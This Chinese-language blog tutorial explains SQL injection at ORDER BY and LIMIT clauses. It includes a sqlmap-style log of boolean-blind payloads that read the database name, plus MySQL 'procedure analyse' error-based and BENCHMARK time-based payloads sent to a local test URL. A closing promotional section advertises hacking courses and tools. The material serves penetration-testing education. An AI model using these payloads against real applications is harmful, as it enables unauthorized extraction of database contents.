前言
平常在做测试的过程中,我们经常遇到的sql注入点一般是在where语句后面,但是偶尔也会遇到注入点在order by和limit。这两个位置由于其有一些特殊性,导致一些注入方式不能使用。下面就一起来看看这两个位置如何去注入。
由于本人水平有限,文章中可能会出现一些错误,欢迎各位大佬指正,感激不尽。如果有什么好的想法也欢迎交流~~
SQL语法基础知识
在具体看这两个位置以前,先来了解一下SQL的语法顺序以及执行顺序。
SQL语法顺序
平常书写SQL语句就是按照下面的语法顺序来书写的。
select\[distinct\]
from
join(如 left join)
on
where
group by
having
union
order by
limit
SQL的执行顺序
但是语法顺序并不是SQL的执行顺序,SQL在执行的过程中是按照下面的顺序来执行的。
(1)from
(2)on
(3)join
(4)where
(5)group by:group by 子句将数据划分为多个分组;
(6)sum,count,max,min,avg:聚合函数
(7)having:使用 having 子句筛选分组
(8)select:选择需要的列
(9)distinct(去重):对结果进行去重操作
(9)union:将多个查询结合联合,会重复上面的步骤
(10)order by:对结果进行排序
(11)limit:返回的条数
以上每个步骤都会产生一个虚拟表,该虚拟表被用作下一个步骤的输入。这些虚拟表对调用者(客户端应 用程序或者外部查询)不可用。只有最后一步生成的表才会会给调用者。如果没有在查询中指定某一个子句, 将跳过相应的步骤。
检测sql注入的常用方式
1)布尔注入
2)报错注入
3)延时注入
4)多语句注入(堆叠注入,就是添加分号,在写一个语句)就是可以执行多个语句,利用分号进行隔开
5)联合注入(union)
6)内联注入
order by注入
是指注入点跟在order by语句的后面,我们最常遇到的注入点一般是跟在where后面的。但是现在跟在order by后面的情况越来越多,因为在JAVA中一般使用了框架mybaits,使用该框架在order by后面直接使用#{}会报错,有人为了省事,就会使用${},大家也都知道前者是安全的,后者则会造成sql注入。
注入点
最简单的注入点如下
select * from goods order by $_GET[‘order’]
order by语法
SELECT column1, column2, ...
FROM table\_name
ORDER BY column1, column2, ... ASC|DESC;
Order by 后面默认跟要查询的字段,也可以为多个字段
字段后面可以跟升序或者降序排序
ASC升序排序,默认为升序排序
DESC表示降序
order by后面的字段也可以用数字来代替,表示用第几个字段进行排序,这种方式经常用来判断表中有几个字段。
当数字超过了表的字段数会导致报错。
order by后面可以跟什么语句?
1)根据上面的sql执行顺序我们可以看到,order by的执行是在sql语句的最后面,因此order by后面不能直接跟union连接查询。这样在sql注入的时候就不能使用union注入了。
2)order by后面可以跟if(),case when else这样的复合查询语句。可以用来进行bool注入,延时注入等
3)order by后面可以接数字,字段名,这个可以用来判断是否存在注入以及字段数。
判断order by后面是否存在注入点
1)可以改变order by后的列名看排序是否改变来判断是在order by后面的注入点。然后加上ASC|DESC看结果排序是否有改变,有改变则证明有注入点
2)通过bool类型进行判断,下面两个页面如果返回结果不同,则证明有注入点
(select (case when (3013=3014) then '' else (select 1083 union select 9794)end))
(select (case when (3013=3013) then '' else (select 1083 union select 9794)end))
3)mysql可以使用延时判断,页面响应时间如果延时3秒,那么证明有注入。
sqlserver数据库延时使用的是waitfor delay ,但我在order by后的延时注入一直不成功
if(1=1,sleep(3),1)
4)如果返回报错,可以直接看报错信息是否存在注入点
order by后面的利用
利用方式其实跟其它注入位置相同,mysql可以通过bool类型注入和延时注入来读取数据,sqlserver数据库目前测试可以通过bool类型来读取数据。当然,如果有错误回显,可以使用报错注入。
可能用到的函数:length()、substr()、ascii()函数
如下面利用bool注入获取内容的payload。
\[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>64) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:26\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:26\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>112) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:26\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>104) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:27\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>108) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:27\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>110) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:27\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>109) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:28\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:28\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>112) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:28\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>104) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:28\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>100) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:29\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>102) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:29\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>101) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:29\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:29\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>112) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:30\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>120) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:30\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>116) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:30\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>118) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:31\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>119) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:31\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),7,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
\[14:44:31\] \[PAYLOAD\] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB\_NAME() AS NVARCHAR(4000)),CHAR(32))),7,1))>48) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
limit语句后的sql注入
limit语法
limit是在mysql中的语句,在sqlserver中无该字段,对应的为top。具体用法如下
LIMIT\[位置偏移量,\]行数
其中,中括号里面的参数是可选参数,位置偏移量是指MySQL查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依此类推...,第二个参数为“行数”即指示返回的记录条数。
SELECT
\[ALL | DISTINCT | DISTINCTROW \]
\[HIGH\_PRIORITY\]
\[STRAIGHT\_JOIN\]
\[SQL\_SMALL\_RESULT\] \[SQL\_BIG\_RESULT\] \[SQL\_BUFFER\_RESULT\]
\[SQL\_CACHE | SQL\_NO\_CACHE\] \[SQL\_CALC\_FOUND\_ROWS\]
select\_expr \[, select\_expr ...\]
\[FROM table\_references
\[WHERE where\_condition\]
\[GROUP BY {col\_name | expr | position}
\[ASC | DESC\], ... \[WITH ROLLUP\]\]
\[HAVING where\_condition\]
\[ORDER BY {col\_name | expr | position}
\[ASC | DESC\], ...\]
\[LIMIT {\[offset,\] row\_count | row\_count OFFSET offset}\]
\[PROCEDURE procedure\_name(argument\_list)\]
\[INTO OUTFILE 'file\_name' export\_options
| INTO DUMPFILE 'file\_name'
| INTO var\_name \[, var\_name\]\]
\[FOR UPDATE | LOCK IN SHARE MODE\]\]
从上面的内容中,可以得出下面的一些结论
1)limit前面没有order by时,后面可以跟union,如果存在order by,则不能使用union。
2)limit后面不能直接跟select语句和if语句。可以跟procedure语句,值得注意的是只有在5.0.0< MySQL <5.6.6版本才可以使用,procedure后面支持报错注入以及时间盲注
3)limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难。
limit注入点
如下的sql语句
select\*from limittest limit 1,\[可控点\]
select ... limit \[可控点\]
利用方式
可以通过下面的语句进行利用。
\# extractvalue 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);%23
# updatexml 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(updatexml(1,concat(0x3a,user()),1),1);%23
# 对于无法报错注入的,可以结合来进行时间盲注
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);%23
PS:时间盲注这里不支持sleep,可以使用BENCHMARK
BENCHMARK主要用于测试多次进行某个操作所耗费的时间,这里用于做时间盲注的时间区别函数
procedure analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)
题外话
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要见下图即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要见下图即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话见下图即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要见下图即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。